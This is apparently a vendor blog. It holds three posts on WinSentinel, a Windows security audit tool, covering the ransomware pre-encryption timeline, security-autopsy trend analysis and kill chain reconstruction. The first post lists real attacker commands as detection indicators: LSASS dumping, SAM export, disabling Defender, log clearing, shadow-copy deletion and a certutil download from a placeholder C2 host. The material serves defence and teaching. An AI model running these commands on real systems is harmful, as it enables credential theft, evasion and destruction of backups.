Blog

There's a persistent myth that ransomware is instant — you click a link, and your files are gone. In reality, modern ransomware operations are methodical. The Conti playbook (leaked in 2022) shows operators spending 30 minutes to 4 hours between initial access and encryption. Mandiant's 2025 M-Trends report puts the median ransomware dwell time at 5 days for enterprise targets, but for opportunistic attacks against small-to-medium businesses, the pre-encryption phase is compressed to under an hour.

That compressed window — roughly 47 minutes based on aggregated incident data from DFIR reports — is where defenders have their best opportunity. Not to prevent initial access (that already happened), but to detect the preparation activities that must occur before encryption can succeed. Kill those preparation steps, and the ransomware fails even though the attacker is already inside.

This post breaks down the pre-encryption phase minute by minute, maps each activity to specific WinSentinel detection capabilities, and provides the defensive scripts that interrupt the attack chain.

Minute 0–5: Initial Foothold and Environment Validation

The attacker has just gained execution — typically through a phishing payload, an exploited VPN appliance, or brute-forced RDP. Their first actions are always the same: validate the environment and confirm they're on a real target worth encrypting.

# Typical attacker reconnaissance (first 5 minutes):
whoami /all
net user /domain
net group "Domain Admins" /domain
wmic os get Caption,Version,BuildNumber
wmic logicaldisk get Size,FreeSpace,DeviceName
nltest /dclist:
systeminfo | findstr /B /C:"OS" /C:"Domain"

These commands answer three questions: Am I on a domain? How big is this network? Is there data worth encrypting? An attacker who lands on an isolated test VM with 20 GB of disk will move on. One who finds a domain-joined workstation with mapped drives to a file server will proceed.

WinSentinel Detection: The Process Lineage module catches this immediately. A rapid sequence of system enumeration commands (whoami, net user, systeminfo, wmic) within 60 seconds is flagged as reconnaissance activity. More importantly, if these commands are spawned by an unusual parent — wmiprvse.exe, mshta.exe, or any Office process — it's a critical alert, not just informational.

# WinSentinel audit output at minute 3:
[CRITICAL] Process Lineage: wmiprvse → cmd → whoami (T1047)
[WARNING]  Rapid system enumeration detected (6 recon commands in 45s)
[WARNING]  Process spawned from non-standard parent: mshta → cmd.exe

Minute 5–15: Privilege Escalation and Credential Harvesting

The attacker now has situational awareness and needs admin privileges to proceed. Common escalation paths on Windows:

• Token impersonation — Using tools like PrintSpoofer or JuicyPotato to escalate from service accounts to SYSTEM
• Unquoted service paths — Hijacking service binaries in paths with spaces that aren't properly quoted
• Credential dumping — Extracting cached credentials from LSASS memory using Mimikatz or comsvcs.dll MiniDump
• SAM database extraction — reg save HKLM\SAM and reg save HKLM\SYSTEM for offline cracking

# Common privilege escalation indicators:
# LSASS memory access (Mimikatz-style)
rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump [lsass-pid] dump.bin full

# SAM extraction
reg save HKLM\SAM C:\temp\sam.bak
reg save HKLM\SYSTEM C:\temp\sys.bak

# Token manipulation
[System.Security.Principal.WindowsIdentity]::GetCurrent()
New-Object System.Security.Principal.WindowsPrincipal(...)

WinSentinel Detection: The Credential Exposure module detects attempts to access LSASS memory, SAM database exports, and cached credential storage. The Event Log module catches Event ID 4672 (special privileges assigned) and Event ID 4648 (explicit credential use). Combined with Process Lineage detecting rundll32 loading comsvcs.dll with a MiniDump argument, this stage generates multiple overlapping alerts.

# WinSentinel at minute 10:
[CRITICAL] Credential Exposure: LSASS memory access detected (T1003.001)
[CRITICAL] Event Log: Privilege escalation - new admin token (Event 4672)
[WARNING]  Process Lineage: rundll32 → comsvcs.dll MiniDump (T1003.001)
[WARNING]  Registry access: SAM hive export attempted

Defensive Action: Credential Guard

The single most effective control against credential harvesting is Windows Credential Guard, which isolates LSASS in a Hyper-V protected container. With Credential Guard enabled, Mimikatz-style attacks against LSASS simply fail — the credentials aren't accessible to the operating system's kernel, let alone a user-mode process.

# Enable Credential Guard (requires UEFI Secure Boot + TPM 2.0)
reg add "HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard" /v EnableVirtualizationBasedSecurity /t REG_DWORD /d 1 /f
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v LsaCfgFlags /t REG_DWORD /d 1 /f

# WinSentinel checks this automatically:
winsentinel --audit --modules credential-security
# Finding: "Credential Guard not enabled" → tells you exactly how to fix it

Minute 15–30: Defense Evasion — Blinding Your Security Tools

This is the phase most defenders miss entirely. Before an attacker drops their encryption payload, they systematically disable everything that might detect or prevent it. The order is deliberate:

1. Disable Windows Defender — Set-MpPreference -DisableRealtimeMonitoring $true or registry manipulation
2. Kill EDR processes — Using vulnerable drivers (BYOVD) to terminate security agent processes from kernel mode
3. Clear event logs — wevtutil cl Security to destroy the forensic trail
4. Disable audit policies — auditpol /set /category:* /success:disable /failure:disable to prevent new evidence
5. Modify firewall rules — Open ports for lateral movement, disable firewall profiles

# Real-world defense evasion sequence (from Conti playbook):
Set-MpPreference -DisableRealtimeMonitoring $true
Set-MpPreference -DisableIOAVProtection $true
Set-MpPreference -DisableBehaviorMonitoring $true
New-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender" -Name DisableAntiSpyware -Value 1
wevtutil cl System
wevtutil cl Security
wevtutil cl Application
netsh advfirewall set allprofiles state off

WinSentinel Detection: This is where WinSentinel's Tamper Protection Audit shines. The module monitors Defender's operational state, checks whether tamper protection is enabled (preventing programmatic disable), and validates that firewall profiles are active. When Defender is disabled outside a defined maintenance window, it's an immediate critical alert.

# WinSentinel at minute 20:
[CRITICAL] Defender: Real-time protection disabled (Event 5001)
[CRITICAL] Defender: Tamper protection not enabled — attacker can disable AV
[CRITICAL] Firewall: All profiles disabled (netsh command detected)
[CRITICAL] Event Log: Security audit log cleared (Event 1102)
[WARNING]  Audit Policy: Process creation auditing disabled

# Kill Chain Assessment:
# Phase 6 (Defense Evasion): ACTIVE — 5 indicators
# Threat Level: CRITICAL
# Progression Match: Ransomware Campaign (75% confidence, missing Impact phase)

Defensive Action: Tamper Protection + Protected Process Light

Two controls make this phase significantly harder for attackers:

• Windows Defender Tamper Protection — Prevents Set-MpPreference and registry-based disablement of Defender. Must be enabled via Windows Security UI or Intune (can't be set via script if it's currently off, by design).
• Protected Process Light (PPL) for LSASS — Runs LSASS as a protected process, preventing unsigned code from injecting or attaching. Combined with Credential Guard, this makes credential theft nearly impossible without a kernel exploit.

# Enable LSASS PPL (requires reboot):
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v RunAsPPL /t REG_DWORD /d 1 /f

# Verify tamper protection status:
Get-MpComputerStatus | Select-Object IsTamperProtected
# Must return True — if False, fix via Windows Security → Virus & Threat Protection

Minute 30–40: Backup Destruction and Recovery Sabotage

This is the attacker's point of no return. Before detonating ransomware, they must ensure the victim can't simply restore from backups. Every ransomware variant includes backup destruction — it's not optional, it's core functionality:

# Universal ransomware backup destruction commands:
vssadmin delete shadows /all /quiet
wmic shadowcopy delete
bcdedit /set {default} recoveryenabled No
bcdedit /set {default} bootstatuspolicy ignoreallfailures
wbadmin delete catalog -quiet
Delete-WmiObject -Class Win32_ShadowCopy

# Also common: stopping backup-related services
net stop VSS
net stop "SQL Server" /y
net stop "SQL Server (MSSQLSERVER)" /y
net stop wbengine
net stop SDRSVC

If these commands succeed, you've lost your recovery options. The data is still intact (encryption hasn't started), but recovery after encryption is now impossible without paying the ransom or restoring from offsite backups.

WinSentinel Detection: The System Resilience module specifically checks for Volume Shadow Copy availability, backup service status, and recovery configuration. When vssadmin delete shadows is executed, it generates an immediate critical finding. The Kill Chain module recognizes this as Phase 13 (Impact preparation) and, combined with the Defense Evasion signals from earlier, elevates to a full Ransomware Campaign progression match.

# WinSentinel at minute 35:
[CRITICAL] System Resilience: Volume Shadow Copies deleted (T1490)
[CRITICAL] System Resilience: Windows Recovery disabled via bcdedit
[CRITICAL] System Resilience: VSS service stopped
[WARNING]  Process Lineage: cmd → vssadmin delete shadows (suspicious parent)

# Kill Chain Update:
# Phase 13 (Impact): ACTIVE — backup destruction confirmed
# Progression: Ransomware Campaign at 100% confidence
# ALL FOUR PHASES ACTIVE: Initial Access + Execution + Defense Evasion + Impact
# VERDICT: ACTIVE RANSOMWARE ATTACK IN PROGRESS

Defensive Action: Protected Shadow Copies

Preventing backup destruction requires layered controls:

• VSS protection via WMI event subscription — Monitor for vssadmin execution and alert immediately. Better: use WDAC to restrict which processes can invoke vssadmin.
• Offsite backups — The only truly ransomware-proof backup is one the attacker can't reach from the compromised machine. Air-gapped or cloud backups with immutable retention.
• Controlled Folder Access — Windows 10/11 feature that prevents unauthorized processes from modifying files in protected directories. Won't save shadow copies, but protects document directories from encryption.

# Enable Controlled Folder Access:
Set-MpPreference -EnableControlledFolderAccess Enabled

# Add protected folders beyond defaults:
Add-MpPreference -ControlledFolderAccessProtectedFolders "D:\FileShares"
Add-MpPreference -ControlledFolderAccessProtectedFolders "C:\Users\*\Documents"

# WinSentinel checks this:
winsentinel --audit --modules defender-security
# Finding: "Controlled Folder Access not enabled" if it's off

Minute 40–47: Payload Staging and Pre-Encryption Setup

The final phase before encryption: the attacker downloads or unpacks their encryption binary, configures it, and sets up the infrastructure for the ransom note display and key exchange.

# Payload staging indicators:
# Large binary dropped to Temp or ProgramData
certutil -urlcache -split -f http://c2.example/payload.exe C:\ProgramData\svchost.exe

# Or decoded from base64 already on disk:
certutil -decode C:\ProgramData\encoded.b64 C:\ProgramData\payload.exe

# Process spawned from non-standard location:
C:\ProgramData\svchost.exe --config ransom.cfg --ext .encrypted --note README_DECRYPT.txt

# Network beacon to C2 for encryption key:
# (Outbound connection to rare TLD or IP on non-standard port)

WinSentinel Detection: The Application Security module catches unsigned binaries executing from ProgramData or Temp. The Process Lineage module flags certutil being used for download/decode operations (T1140). Network Audit identifies outbound connections on non-standard ports. The convergence of all these signals at this stage produces the highest-confidence alert possible.

# WinSentinel at minute 44:
[CRITICAL] App Security: Unsigned process running from C:\ProgramData\
[CRITICAL] Process Lineage: certutil used for payload download (T1105/T1140)
[CRITICAL] Network: Outbound connection to unclassified IP on port 8443
[CRITICAL] Kill Chain: Ransomware Campaign — ENCRYPTION IMMINENT

# Automated Response Recommendation:
# 1. ISOLATE: Disconnect network immediately (net adapter disable)
# 2. TERMINATE: Kill unsigned processes from staging directories
# 3. PRESERVE: Image the disk before any remediation
# 4. RESTORE: Re-enable Defender, restore shadow copies from backup

The Detection Stack: How Modules Work Together

No single check catches a ransomware attack. It's the combination of modules firing in sequence that produces high-confidence detection. Here's how WinSentinel's modules layer:

• Process Lineage — Catches suspicious parent-child relationships at every stage (initial execution, reconnaissance, payload staging)
• Event Log Analysis — Correlates authentication events, privilege escalation, and log tampering
• Defender Security — Monitors Defender state, tamper protection, Controlled Folder Access
• Credential Exposure — Detects LSASS access, SAM exports, credential caching weaknesses
• System Resilience — Validates backup availability, shadow copies, recovery configuration
• Network Audit — Identifies unauthorized listeners, suspicious outbound connections, disabled firewalls
• Kill Chain Reconstructor — Correlates findings from all modules into attack progression analysis

Each module catches different phases. The Kill Chain Reconstructor is the integration layer that says "these 12 individual findings from 5 different modules, occurring within a 45-minute window, constitute a ransomware attack at the backup-destruction stage."

The Defensive Checklist: Hardening Against Ransomware Pre-Encryption

Run this WinSentinel audit and fix every finding marked Critical or Warning. Each one closes a gap that ransomware operators exploit during those 47 minutes:

# Full ransomware-focused audit:
winsentinel --audit --modules credential-security,defender-security,process-lineage,eventlog,network,system-resilience

# Key findings to fix immediately:
# - Credential Guard not enabled → fix, blocks minute 5-15
# - Tamper Protection off → fix, blocks minute 15-30
# - LSASS not running as PPL → fix, blocks credential theft
# - Controlled Folder Access off → fix, blocks encryption
# - VSS not properly configured → fix, preserves recovery
# - PowerShell in Bypass mode → fix, blocks execution
# - RDP exposed without NLA → fix, blocks initial access

# After fixing, verify:
winsentinel --score
# Target: 85+ with zero Critical findings in above modules

Response Automation: What To Do When You Detect It

Detection without response is just watching yourself get breached in slow motion. Here's the response runbook for each detection threshold:

• Single phase active (Moderate) — Investigate within 4 hours. Run full audit, check for additional indicators, review recent user activity.
• Two phases active (High) — Investigate immediately. Isolate the endpoint from the network (but don't power off — preserve memory). Run forensic collection.
• Three+ phases / Ransomware progression (Critical) — Incident response mode. Network isolate the machine AND any machine it communicated with in the last hour. Image the disk. Check backup integrity on all related systems. Assume lateral movement has occurred.

# Emergency network isolation (run when Critical ransomware detected):
Get-NetAdapter | Disable-NetAdapter -Confirm:$false

# Terminate all unsigned processes from user-writable locations:
Get-Process | Where-Object {
    $_.Path -and ($_.Path -match 'Temp|AppData|ProgramData|Downloads') -and
    !(Get-AuthenticodeSignature $_.Path).Status -eq 'Valid'
} | Stop-Process -Force

# Re-enable Defender if disabled:
Set-MpPreference -DisableRealtimeMonitoring $false

# Check shadow copy status:
vssadmin list shadows
# If empty → recovery may require offsite backups

Why 47 Minutes Is Enough — If You're Watching

The attacker needs all four preparation phases to succeed. If any one is interrupted, the attack fails or is significantly degraded:

• Block credential escalation (minute 5-15) → attacker can't get admin, can't disable defenses or delete backups
• Prevent defense evasion (minute 15-30) → Defender catches the encryption binary when it's dropped
• Protect backups (minute 30-40) → even if encryption occurs, you restore in hours instead of paying ransom
• Block payload staging (minute 40-47) → encryption never starts

You don't need to catch everything. You need to catch one thing and respond fast enough to interrupt the chain. WinSentinel's layered detection gives you multiple opportunities across those 47 minutes — not one chance, but dozens of independent signals any one of which can trigger your response.

Getting Started

# Install and run the ransomware-focused audit:
dotnet tool install --global WinSentinel.Cli
winsentinel --audit

# The kill chain analysis runs automatically.
# Look for: Ransomware Campaign progression matches
# Fix: every Critical finding in credential, defender, and resilience modules

# For continuous monitoring across your fleet:
# WinSentinel Pro agents report kill chain status every scan cycle,
# alerting your team when any endpoint enters ransomware pre-staging.

Ransomware isn't instant. It's a process with dependencies, and every dependency is a detection opportunity. Those 47 minutes are a gift — but only if your security tooling is watching for the right signals. Run winsentinel --audit now and close the gaps before someone tests them for real.

Traditional security scanners tell you what's wrong right now. They produce a point-in-time snapshot: 12 criticals, 8 warnings, score 62. Fix the findings, run again, move on. But this reactive loop hides a crucial question: why did the posture degrade in the first place?

A score that drops from 85 to 62 didn't happen because of one bad change. It's the result of a cascade — a configuration drift here, a missed patch cycle there, a policy that was disabled and never re-enabled. Understanding the story behind the decline is the difference between patching symptoms and eliminating root causes.

WinSentinel's Security Autopsy engine does exactly this. It treats your audit history like a medical chart, diagnosing what went wrong, when it started, and why it keeps happening.

The Five Pillars of a Security Autopsy

Every autopsy report contains five sections, each answering a distinct forensic question:

• Degradation Events — What happened? Specific moments where security measurably worsened.
• Root Cause Hypotheses — Why did it happen? Inferred causes ranked by confidence.
• Forensic Timeline — When did things change? A chronological reconstruction of events.
• Lessons Learned — What patterns should concern us? Systemic insights from the data.
• Proactive Recommendations — What should we do now? Tagged as RESPOND, PREVENT, or DETECT.

Degradation Detection: Three Signal Types

The engine compares consecutive audit runs and flags three categories of degradation:

Score Drops — When the overall security score falls by more than 5 points between scans. Severity is graded: >20 points is severity 1 (critical), 10–20 is severity 2, 5–10 is severity 3. A 30-point drop demands immediate attention; a 7-point drift warrants investigation.

winsentinel --autopsy --days 90

┌─────────────────────────────────────────────────────────┐
│  DEGRADATION EVENTS (last 90 days)                     │
├─────────────────────────────────────────────────────────┤
│  2026-05-28  Score Drop      85 → 72  (Severity 2)    │
│  2026-06-01  Critical Spike  1 → 4    (Severity 1)    │
│  2026-06-04  Module Failure  Net: 90 → 45 (Sev 1)     │
└─────────────────────────────────────────────────────────┘

Critical Spikes — When critical findings increase by 2 or more between scans. This signals that something actively broke — not gradual drift, but a sudden security collapse. Common triggers: Defender disabled by group policy, firewall rule flush, or a batch of missed patches hitting CVE thresholds simultaneously.

Module Failures — Per-module score drops exceeding 10 points. While the overall score might only dip slightly (averaging across all modules), a single module cratering from 90 to 45 reveals a targeted problem. Module failures pinpoint where to look.

Root Cause Inference: From Symptoms to Sources

Finding the degradation is step one. Understanding why is step two. The autopsy engine applies four inference patterns:

Recurring Issues — Findings that appear in 3+ consecutive scans without resolution. If "RDP exposed without NLA" shows up scan after scan, the problem isn't technical difficulty — it's a process failure. Something is preventing remediation from sticking. Confidence increases with recurrence count, capped at 0.95.

Module Regressions — Modules that degrade, recover, then degrade again. The yo-yo pattern indicates that fixes are being applied but not persisted. Common cause: group policy conflicts that override local fixes on the next policy refresh cycle.

New Vulnerability Surges — When 2+ critical findings appear simultaneously that weren't present in the previous scan. This pattern suggests an external event: a patch window was missed, a new policy was deployed, or a configuration management tool pushed a breaking change.

Configuration Drift — When multiple findings across different modules contain configuration-related keywords ("policy", "setting", "enabled", "disabled", "default"). Three or more config-related findings across scans indicate systematic drift from baseline — security settings are being changed without corresponding compensating controls.

ROOT CAUSE ANALYSIS (ordered by confidence)
─────────────────────────────────────────────
1. [0.90] Recurring Issue
   "RDP enabled without NLA" appeared in 6/6 scans
   → Investigate why remediation isn't persisting

2. [0.80] Module Regression
   Network module degraded 3 times in analysis period
   → Deep review recommended — repeated regressions
     indicate structural weakness

3. [0.70] New Vulnerability
   4 new critical findings appeared on 2026-06-01
   → Immediate remediation required

4. [0.65] Configuration Drift
   5 configuration-related findings across scans
   → Lock down security configuration baseline

The Forensic Timeline: Reconstructing Events

The timeline weaves together scan events, grade changes, new findings, and resolved findings into a chronological narrative. Each entry is tagged with a module and timestamp, making it trivial to correlate security events with operational changes.

TIMELINE
────────
2026-05-25 🔍 Audit Scan     Score: 85 (B) — 8 findings
2026-05-28 🔍 Audit Scan     Score: 72 (C) — 14 findings
2026-05-28 📉 Grade Change   B → C
2026-05-28 🔴 New Critical   [Net] RDP exposed without NLA
2026-05-28 🔴 New Critical   [Def] Real-time protection off
2026-06-01 🔍 Audit Scan     Score: 65 (D) — 18 findings
2026-06-01 📉 Grade Change   C → D
2026-06-01 🔴 New Critical   [FW] Firewall profile disabled
2026-06-04 🔍 Audit Scan     Score: 62 (D) — 20 findings
2026-06-04 ✅ Resolved       [Upd] Windows Update paused
2026-06-04 🟡 New Warning    [USB] Autorun still enabled

Timeline entries can be filtered by module (--module Net), giving you a focused view of a single security domain's evolution. This is invaluable when triaging a module failure — you see exactly what findings appeared, when, and what (if anything) was resolved.

Verdicts: The Executive Summary

Every autopsy concludes with a one-word verdict that captures the overall trajectory:

• Critical — 3+ severity-1 events detected. Security is actively degrading and requires immediate intervention.
• Declining — Scores have fallen over the last 3 consecutive scans. The trend is negative even if no single event is catastrophic.
• Recovering — The most recent score improved after degradation events. Fixes are working, but the history shows vulnerability.
• Stable — No significant degradation detected. Maintain current practices.

The verdict also identifies the worst-affected module and largest single score drop, giving stakeholders the two numbers they need for executive reporting.

Proactive Recommendations: RESPOND, PREVENT, DETECT

Recommendations aren't generic advice — they're generated from the specific degradation patterns found in your history:

• RESPOND — Actions for immediate threats. "Set up automated alerting for critical finding spikes." Generated when critical spikes are detected.
• PREVENT — Structural changes to stop recurrence. "Implement configuration baseline enforcement." Generated when configuration drift is identified.
• DETECT — Improvements to detection capability. "Add per-module regression tests to your scan pipeline." Generated when module regressions are found.

When no degradations are detected, the engine suggests tightening thresholds — because the absence of detected problems might mean your detection sensitivity is too low, not that everything is perfect.

Running an Autopsy

# Full autopsy over last 90 days
winsentinel --autopsy

# Scoped to network module, last 30 days
winsentinel --autopsy --module Network --days 30

# JSON output for integration
winsentinel --autopsy --json > autopsy-report.json

The autopsy works entirely from your local scan history (stored in SQLite). No data leaves your machine. No cloud dependency. You get forensic-grade analysis from the same audit data you've already been collecting.

Security isn't just about finding what's wrong today — it's about understanding why things went wrong and ensuring they don't again. The Security Autopsy transforms your audit history from a passive archive into an active forensic intelligence source.

Security audit tools excel at finding individual weaknesses: an exposed RDP port here, a disabled antivirus there, a weak password policy somewhere else. Taken individually, each finding has a severity level and a remediation path. But this finding-by-finding view misses the critical question: do these findings, taken together, represent an active attack?

A disabled Windows Defender is a "Critical" finding on its own. But a disabled Windows Defender combined with an exposed RDP port, unrestricted PowerShell execution, and deleted system backups isn’t just four separate problems — it’s the classic ransomware kill chain. The individual findings are breadcrumbs; the kill chain is the story.

This is the thinking behind WinSentinel’s Kill Chain Reconstructor: an engine that maps every security finding to its position in the Lockheed Martin Cyber Kill Chain (aligned with MITRE ATT&CK tactics), then looks for multi-phase attack patterns hiding in your audit results.

The Cyber Kill Chain: 14 Phases of an Attack

Every sophisticated attack follows a progression. Attackers don’t jump from "nothing" to "ransomware detonation" in one step. They move through phases, each requiring specific conditions to succeed. Understanding these phases turns your security findings into a threat timeline:

• Phase 0 — Reconnaissance (TA0043): Attacker maps your attack surface. Findings: open ports, exposed services, information disclosure.
• Phase 1 — Resource Development (TA0042): Attacker acquires tools/access. Findings: outdated software, untrusted certificates, unpatched vulnerabilities.
• Phase 2 — Initial Access (TA0001): First foothold gained. Findings: exposed RDP, weak firewall rules, accessible SMB shares.
• Phase 3 — Execution (TA0002): Attacker runs code. Findings: unrestricted PowerShell, unsigned scripts, suspicious scheduled tasks.
• Phase 4 — Persistence (TA0003): Maintaining access. Findings: autorun entries, new scheduled tasks, modified services.
• Phase 5 — Privilege Escalation (TA0004): Getting admin. Findings: UAC disabled, unquoted service paths, local admin sprawl.
• Phase 6 — Defense Evasion (TA0005): Blinding defenders. Findings: Defender disabled, logs cleared, firewall bypassed.
• Phase 7 — Credential Access (TA0006): Stealing passwords. Findings: weak password policies, stored credentials, LSASS exposure.
• Phase 8 — Discovery (TA0007): Mapping the network. Findings: system enumeration, account discovery, network scanning.
• Phase 9 — Lateral Movement (TA0008): Spreading. Findings: admin share access, RDP sessions, SMB lateral activity.
• Phase 10 — Collection (TA0009): Gathering data. Findings: clipboard monitoring, data staging, archive creation.
• Phase 11 — Command & Control (TA0011): Phone home. Findings: beaconing, DNS tunneling, unusual outbound connections.
• Phase 12 — Exfiltration (TA0010): Data theft. Findings: large outbound transfers, DNS exfil, unauthorized uploads.
• Phase 13 — Impact (TA0040): Final payload. Findings: backups disabled, shadow copies deleted, critical patches missing.

Mapping Findings to Phases: Beyond Simple Category Matching

The mapping engine uses a two-layer matching strategy. First, it checks the finding’s category against phase-specific category patterns. Then it verifies that the finding’s title or description contains phase-relevant keywords. This prevents false positives — a "Network" finding about DNS resolution performance shouldn’t map to Reconnaissance just because it mentions "network."

# Example: this finding maps to Initial Access (phase 2)
# Category: "RemoteAccess" matches, keyword: "rdp" matches
winsentinel --audit
# Finding: "RDP enabled without network-level authentication"
#   → Category: RemoteAccess ✓
#   → Keywords: ["rdp", "ssh", "remote desktop", "vnc"] ✓ ("rdp")
#   → Mapped to: Phase 2 (Initial Access) / TA0001

# This finding maps to Defense Evasion (phase 6)
# Finding: "Windows Defender real-time protection disabled"
#   → Category: Defender ✓
#   → Keywords: ["disabled", "tamper", "exclusion", "real-time off"] ✓
#   → Mapped to: Phase 6 (Defense Evasion) / TA0005

Findings that match no phase mapping are counted as "unmapped" — they’re still security issues worth fixing, but they don’t contribute to kill chain analysis. The ratio of mapped to unmapped findings tells you how much of your security posture is relevant to known attack patterns versus idiosyncratic configuration drift.

Attack Progression Detection: Connecting the Dots

Individual phase activity is informative. But the real power of kill chain analysis is detecting multi-phase progressions — sequences of active phases that match known attack patterns.

WinSentinel maintains a library of attack progression templates, each defining which kill chain phases typically appear together in specific attack types:

• Ransomware Campaign: Initial Access → Execution → Defense Evasion → Impact (phases 2,3,6,13). The classic pattern: get in, run code, blind security tools, detonate payload.
• APT Intrusion: Reconnaissance → Initial Access → Persistence → Discovery → Lateral Movement (phases 0,2,4,8,9). Patient adversaries establish long-term footholds before moving.
• Credential Theft Operation: Initial Access → Privilege Escalation → Credential Access → Exfiltration (phases 2,5,7,12). Targeted credential harvesting for later use or sale.
• Defense Neutralization: Defense Evasion → Credential Access → Lateral Movement → Impact (phases 6,7,9,13). Blind the SOC first, then move freely.
• Insider Threat: Discovery → Collection → Exfiltration (phases 8,10,12). No initial access needed — they’re already inside.

# Kill chain report showing detected ransomware progression
winsentinel --audit --kill-chain

┌─────────────────────────────────────────────────────┐
│  KILL CHAIN ANALYSIS — THREAT LEVEL: CRITICAL    │
├─────────────────────────────────────────────────────┤
│  Active Phases: 4/14 (29% coverage)               │
│                                                   │
│  [2] Initial Access    ███ CRITICAL (RDP exposed) │
│  [3] Execution         ██  WARNING  (PS bypass)   │
│  [6] Defense Evasion   ███ CRITICAL (AV disabled) │
│  [13] Impact           ███ CRITICAL (no backups)  │
│                                                   │
│  ⚠️  PROGRESSION DETECTED: Ransomware Campaign      │
│     Confidence: 100% (4/4 phases active)           │
│     Pattern: access → execute → blind → detonate  │
│                                                   │
│  🔮 PREDICTED NEXT: Persistence (75%)               │
│     Block: Monitor startup locations, audit tasks  │
└─────────────────────────────────────────────────────┘

Confidence scoring is calculated as the ratio of active phases to required phases. A progression with 4/4 matching phases gets 100% confidence. A partial match (2/4) gets 50% — still worth alerting on, but with downgraded severity. This prevents false alarms from coincidental two-phase overlaps while still catching attacks in progress.

Predictive Phase Forecasting: What’s Coming Next

Once active phases are identified, the kill chain engine uses transition probability tables to predict which phases are likely to activate next. These probabilities are derived from observed attack patterns in real-world incident response data:

• Initial Access → Execution: 85% probability. Once an attacker gets in, they almost always need to run code.
• Credential Access → Lateral Movement: 80% probability. Stolen credentials exist to be used on other machines.
• Collection → Command & Control: 70% probability. Staged data needs an exfil channel.
• Privilege Escalation → Credential Access: 75% probability. Admin access unlocks credential dumping tools.

When multiple active phases feed into the same predicted phase, probabilities are combined using complementary probability: P(combined) = 1 - (1 - P1) * (1 - P2). If Execution (65%) AND Persistence (60%) both predict Privilege Escalation, the combined probability is 86% — much higher than either alone.

# Prediction output with preventive recommendations
🔮 Phase Predictions:
  1. Execution (85%) — follows from Initial Access
     Block: Restrict PowerShell, application whitelisting, disable macros
  2. Persistence (60%) — follows from Initial Access
     Block: Monitor startup locations, audit scheduled tasks
  3. Credential Access (75%) — follows from Privilege Escalation
     Block: Enable Credential Guard, disable credential caching

Threat Level Classification: The Summary Your CISO Wants

Not every kill chain report requires a 3 AM phone call. The threat level classifier translates the full analysis into a single word that maps to response urgency:

• None: Zero active phases. The system shows no signs of attack-relevant weaknesses.
• Low: 1–2 active phases, no detected progressions. Routine findings, normal remediation timeline.
• Moderate: 3–4 active phases OR any progression detected. Something might be developing. Investigate within 24 hours.
• High: 5+ active phases OR a High/Critical-severity progression at 50%+ confidence. Active threat likely. Investigate immediately.
• Critical: Critical-severity progression at 75%+ confidence. Active attack in progress matching a known pattern. Incident response mode NOW.

The Response Plan: Prioritized Actions That Matter

Kill chain analysis isn’t just diagnostic — it generates a prioritized response plan that tells you what to fix and in what order:

1. Critical active phases first (Urgency: Immediate) — These are the findings where the attacker is currently operating. Fix Defender being disabled before you worry about password complexity.
2. Warning active phases second (Urgency: High) — Enablers that aren’t critical alone but feed the attack chain.
3. Predicted phase hardening third (Urgency: Normal/High) — Proactive blocking of the attacker’s next move. If Lateral Movement is predicted at 80%, restrict admin shares and SMB access now, before the attacker gets there.

This priority ordering means you’re always working on the highest-impact remediation first. It’s the difference between "fix all 47 findings in severity order" (which treats every Critical equally) and "fix these 3 findings that are enabling an active ransomware progression" (which focuses on the attack that’s actually happening).

Real-World Example: Detecting a Pre-Ransomware State

Here’s a real scenario from a WinSentinel audit that detected ransomware staging before detonation:

# Audit findings from a single workstation:
1. [CRITICAL] RemoteAccess: RDP enabled on public interface (port 3389 open)
2. [WARNING]  PowerShell: Execution policy set to Bypass via registry
3. [CRITICAL] Defender: Real-time protection disabled, tamper protection off
4. [CRITICAL] EventLog: Security audit log cleared 2 hours ago
5. [WARNING]  ScheduledTask: New task "WindowsUpdate_Check" runs from %TEMP%
6. [CRITICAL] Backup: Volume Shadow Copy service disabled, no restore points
7. [WARNING]  Account: Local admin account "support_admin" created yesterday

# Kill Chain Reconstruction:
Phase 2 (Initial Access):    ACTIVE — RDP exposed [CRITICAL]
Phase 3 (Execution):         ACTIVE — PowerShell bypass [WARNING]
Phase 4 (Persistence):       ACTIVE — Suspicious task [WARNING]
Phase 5 (Privilege Esc):     ACTIVE — New admin account [WARNING]
Phase 6 (Defense Evasion):   ACTIVE — Defender + logs cleared [CRITICAL]
Phase 13 (Impact):           ACTIVE — Backups destroyed [CRITICAL]

# Detected Progression: Ransomware Campaign (100% confidence)
# Threat Level: CRITICAL
# Predicted Next: Credential Access (75%), Lateral Movement (70%)

# Response Plan:
#  1. [IMMEDIATE] Re-enable Defender + tamper protection
#  2. [IMMEDIATE] Restore backup capability, check shadow copies
#  3. [IMMEDIATE] Disable public RDP, enforce NLA
#  4. [HIGH] Remove suspicious scheduled task
#  5. [HIGH] Audit and remove unauthorized admin account
#  6. [HIGH] Set PowerShell to AllSigned or RemoteSigned
#  7. [NORMAL] Proactively enable Credential Guard (blocks predicted phase)

Without kill chain analysis, this audit produces 7 separate findings at various severities. A busy admin might fix them over the next sprint. With kill chain analysis, the same findings immediately trigger "CRITICAL: Ransomware Campaign detected at 100% confidence" — a fundamentally different response than "you have 7 things to fix."

Fleet-Wide Kill Chain Correlation

Kill chain analysis on a single machine is powerful. Kill chain analysis across a fleet is game-changing. When WinSentinel agents report their findings to a central node, the fleet console can detect attack patterns that span multiple machines:

• Lateral movement correlation: Machine A shows Initial Access + Execution, Machine B shows Persistence + Privilege Escalation. Individually, each looks like "Moderate." Together, they’re one attack at two stages.
• Synchronized defense evasion: Defender disabled on 5 machines within the same 10-minute window? That’s not coincidence — that’s an attacker moving through the network.
• Exfiltration staging: Machine A shows Collection activity, Machine B shows Command & Control setup. The attacker is staging data on A and building an exfil channel on B.

This is where WinSentinel Pro’s fleet orchestration becomes essential. A single machine’s kill chain might show "Moderate" threat level. But correlating kill chain data across 50 machines reveals the full APT intrusion that no single-machine scanner can see.

Want fleet-wide kill chain correlation across your organization? WinSentinel Pro aggregates kill chain analysis from every agent into a unified threat view — detecting multi-machine attack progressions that single-node scanning misses entirely.

Getting Started

Kill chain analysis runs automatically as part of every WinSentinel audit. Install and run:

dotnet tool install --global WinSentinel.Cli
winsentinel --audit

# The kill chain analysis appears in your audit report automatically.
